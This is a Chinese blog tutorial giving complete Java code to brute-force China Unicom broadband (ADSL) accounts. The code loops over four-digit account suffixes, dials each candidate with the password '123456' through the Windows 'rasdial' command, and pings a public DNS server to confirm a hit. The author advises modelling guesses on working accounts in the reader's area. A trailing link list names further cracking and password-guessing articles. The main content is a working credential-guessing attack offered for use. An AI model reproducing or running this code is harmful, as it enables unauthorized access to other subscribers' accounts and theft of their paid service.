在第一个版本中讲到了如何破解宽带账号
上一篇文章
《暴力破解宽带账号》

但对于之前的代码个人觉得写的不好,因此准备第二个版本

建立一个宽带连接

注意拨号名称为宽带连接 与后面代码connAdsl("宽带连接", username, password);//重新拨号相对应,如果连接名称不是这个宽带连接则将其改成对应你电脑上的名称





点击连接,然后跳过,再接着选择设置连接,然后关闭即可


然后使用代码进行暴力破解

而你需要做的事情就是自己提供宽带账号和密码,对于校园网,尤其是联通的宽带,都是很有规律的

联通的宽带一般是 地区号开头组成的12位数字 + @Unicom01,其中后面4位一般是手机号后4位

因此我的建议是先观察你所在的环境能正常拨号的宽带账号,然后模仿它的格式得到宽带账号进行破解即可

另外建议你看下代码,代码可以适当的调整,可以优化执行效率

代码

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.concurrent.TimeUnit;//暴力破解宽带
public class BruteForce {/*** 执行CMD命令,并返回String字符串*/public static String executeCmd(String strCmd) throws Exception {Process p = Runtime.getRuntime().exec("cmd /c " + strCmd);StringBuilder sbCmd = new StringBuilder();BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GBK"));String line;while ((line = br.readLine()) != null) {sbCmd.append(line + "\n");}return sbCmd.toString();}/*** 检测网络* 能ping通则返回true,ping不通返回false*/private static boolean checkInternet() throws Exception {String comm = "ping -n 2 114.114.114.114";String s = executeCmd(comm);System.out.println(s);if (s.indexOf("TTL") >= 0) {return true;} else if (s.indexOf("请求超时") >= 0 || s.indexOf("无法访问目标网") >= 0) {return false;} else {return false;}}/*** ADSL连接宽带* <p>* 可以适当的调整下面休眠的时间,* 注意sleep不可调的太小,太小可能导致拨号成功了但是依然ping不通*/public static boolean connAdsl(String adslTitle, String adslName, String adslPass) throws Exception {String disconnectResult = executeCmd("rasdial " + adslTitle + " /DISCONNECT");// 断开之前的连接System.out.println(disconnectResult);// 断开之前的连接String connectResult = executeCmd("rasdial " + adslTitle + " " + adslName + " " + adslPass);// 进行拨号连接System.out.println(connectResult);// 重新拨号的连接TimeUnit.SECONDS.sleep(3);// 暂停一会,不暂停的话重新进行判断网络的时候会导致ping不通,实际已经连接成功了if (checkInternet()) {System.out.println("破解成功!\n宽带账号:" + adslName + "\t宽带密码:" + adslPass);return true;} else {return false;}}//测试代码public static void main(String[] args) throws Exception {for (int i = 1071; i <= 9999; i++) {String str = String.format("%04d", i);//获得长度为4的数字String username = "079701" + "60" + str + "@Unicom01";//宽带账号System.out.println("宽带账号:" + username);String password = "123456";//破解密码为123456的宽带账号boolean connect = checkInternet();// ping检测一下if (!connect) {// 网络没有ping通则进行拨号connAdsl("宽带连接", username, password);//重新拨号} else {System.out.println("网络正常");//破解成功,后面的break会暂停。break;}}}
}

暴力破解宽带,版本2相关推荐

  1. Sublime Text 3143 Win32版本暴力破解过程

    Sublime Text是一款强大的文本编辑器,在不注册的情况下也可以使用,但标题栏的未注册字样与时不时弹出的nag窗口有时也让人感觉很不爽,于是尝试对其注册过程进行分析与破解. 截至写本篇文章时,S ...

  2. 路由器密码忘记 五步暴力破解

    我是一名家庭用户,最近不小心忘记了家里无线路由器的登录密码,现在唯一知道的就是该设备使用的是5位以内的数字作为密码,那么我想问专家如何来解决这种密码为纯数字的暴力破解问题呢?在线急切等待. [解答]很 ...

  3. 服务器暴力破解的程序(python开发)

    如果您对服务器暴力破解和Python相关知识有兴趣,与大神们共同探讨和 首先我们看一下基本的原理以及过程 Paste_Image.png 我们看一下准备工作: 我们需要获取目标机器的IP和SHH端口 ...

  4. fail2ban防止暴力破解

    防止暴力破解的一般方法: 1) 密码足够复杂 2)修改端口号 3) 禁用root登录 4)第三方防爆破软件 fail2ban实现锁IP 说明:监视系统日志,然后通过匹配日志错误信息(正则匹配),执行相 ...

  5. 开源服务专题之------ssh防止暴力破解及fail2ban的使用方法

    15年出现的JAVA反序列化漏洞,另一个是redis配置不当导致机器入侵.只要redis是用root启动的并且未授权的话,就可以通过set方式直接写入一个authorized_keys到系统的/roo ...

  6. 利用Python自动生成暴力破解的字典

    Python是一款非常强大的语言.用于测试时它非常有效,因此Python越来越受到欢迎. 因此,在此次教程中我将聊一聊如何在Python中生成字典,并将它用于任何你想要的用途. 前提要求 1,Pyth ...

  7. DVWA学习(三)Brute Force(暴力破解)

    BF算法,即暴风(Brute Force)算法,是普通的模式匹配算法,BF算法的思想就是将目标串S的第一个字符与模式串T的第一个字符进行匹配,若相等,则继续比较S的第二个字符和 T的第二个字符:若不相 ...

  8. python3爬虫(5)百度云盘暴力破解尝试

    4年前写过一篇文章,暴力破解百度云,链接(当然这个方法早已失效): https://blog.csdn.net/liujiayu2/article/details/48953745 当时写这篇文章的时 ...

  9. linux密码暴力破解之SHA-512破解

    linux密码暴力破解 由于MD5加密已经发展了很多年,现在市面上已经积累了大量的MD5数据,这样,MD5的安全性也就受到了威胁,所以,从centos6.x版本开始,系统密码开始采用SHA-512加密 ...

最新文章

  1. 判断一个数为多少位 比如 3 是 1位 102 是3位。
  2. 【c语言】蓝桥杯算法提高 c++_ch02_04
  3. Cocos Creator快速开通联网服务教程
  4. ubuntu 14.04 no valid active connections found
  5. npm install 原理(node_modules)
  6. PostgreSQL 聚合、分组、排序
  7. 作者:朱凤华,男,博士,现任中国科学院自动化研究所副研究员,中国科学院云计算中心自动化所东莞研究院副院长。...
  8. Centos 7 固定ip配置
  9. 谷歌设立 COVID-19资助金,助力漏洞猎人度过新冠肺炎疫情
  10. Codeforces 1178
  11. 关于opencv设置视频的属性无效问题
  12. 论文心得:BatchNorm及其变体
  13. html+txth换行,文本文档换行符号
  14. 解决服务器上中文显示乱码问题
  15. C语言 玫瑰花代码实现
  16. 基础操作案例:ArcGIS PRO基础教程(二)
  17. 股票交易一点感悟和程序化交易实战
  18. 思必驰发布DUI平台,重磅嘉宾圆桌论道语音交互的现状及未来
  19. 十大跨平台移动应用开发工具
  20. Git 提交 vue 教程

热门文章

  1. Python通过文字生成语音,随机获取视频或图片素材生成伪原创的短视频
  2. RK61 Keyboard Use
  3. html做帧动画,AE免费教程:简单几步做出帧动画效果
  4. 【计算机网络】第四章:数据链路层(Part2.广播信道的数据链路)
  5. Spring AOP Pointcut
  6. kafka 创建消费者报错 consumer zookeeper is not a recognized option
  7. 面向对象——必敲项目(简化版qq炫舞)
  8. 10月第2周业务风控关注|内容安全惹的祸?子弹短信和斗鱼APP同一天下架
  9. 四国军棋界面开发(2) 让棋子动起来
  10. 计算机相关设备巡检表,运维常用表格